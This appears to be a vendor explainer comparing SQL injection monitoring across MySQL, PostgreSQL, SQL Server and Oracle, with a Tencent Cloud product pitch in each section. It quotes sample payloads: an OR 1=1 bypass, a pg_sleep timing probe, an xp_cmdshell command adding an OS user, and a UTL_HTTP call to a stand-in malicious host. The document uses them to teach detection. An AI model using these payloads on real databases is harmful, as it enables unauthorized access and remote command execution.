What are the differences in SQL injection monitoring under different database types?

SQL injection monitoring varies across different database types due to differences in syntax, query structures, and logging mechanisms. Here’s a breakdown with examples:

1. MySQL:

   • MySQL injection often involves manipulating UNION SELECT, OR 1=1, or -- comments to bypass authentication.
   • Monitoring tools can track abnormal query patterns, such as unexpected UNION clauses or excessive LIKE operations.
   • Example: A query like SELECT * FROM users WHERE username = 'admin' OR 1=1 --' is a classic MySQL injection attempt.
   • Tencent Cloud Solution: Use TencentDB for MySQL with Database Audit to log and analyze suspicious queries.

2. PostgreSQL:

   • PostgreSQL injections may exploit functions like pg_sleep() for time-based attacks or COPY commands for data exfiltration.
   • Monitoring focuses on unusual function calls or privilege escalation attempts.
   • Example: SELECT * FROM users WHERE username = 'admin' AND (SELECT pg_sleep(5)) is a time-based attack.
   • Tencent Cloud Solution: TencentDB for PostgreSQL with SQL Injection Detection identifies malicious payloads.

3. Microsoft SQL Server:

   • SQL Server injections often use xp_cmdshell for command execution or WAITFOR DELAY for time-based attacks.
   • Monitoring should flag excessive use of extended stored procedures.
   • Example: EXEC xp_cmdshell('net user hacker password /add') is a dangerous injection.
   • Tencent Cloud Solution: TencentDB for SQL Server with Threat Detection alerts on suspicious activities.

4. Oracle:

   • Oracle injections may abuse UTL_HTTP for network access or DBMS_SCHEDULER for job manipulation.
   • Monitoring involves tracking access to sensitive packages.
   • Example: SELECT * FROM users WHERE username = 'admin' AND UTL_HTTP.request('http://malicious.site') IS NOT NULL is an exfiltration attempt.
   • Tencent Cloud Solution: TencentDB for Oracle with Advanced Threat Protection detects such exploits.

Key differences in monitoring:

• Query Syntax: Each database has unique functions and syntax, requiring tailored detection rules.
• Logging Capabilities: Some databases (e.g., PostgreSQL) provide detailed query logs, while others (e.g., MySQL) may need additional tools.
• Attack Vectors: Privilege escalation methods differ (e.g., xp_cmdshell in SQL Server vs. UTL_HTTP in Oracle).

Tencent Cloud Recommendation: Use Tencent Cloud Database Security services, which provide multi-database SQL injection detection, anomaly analysis, and real-time alerts.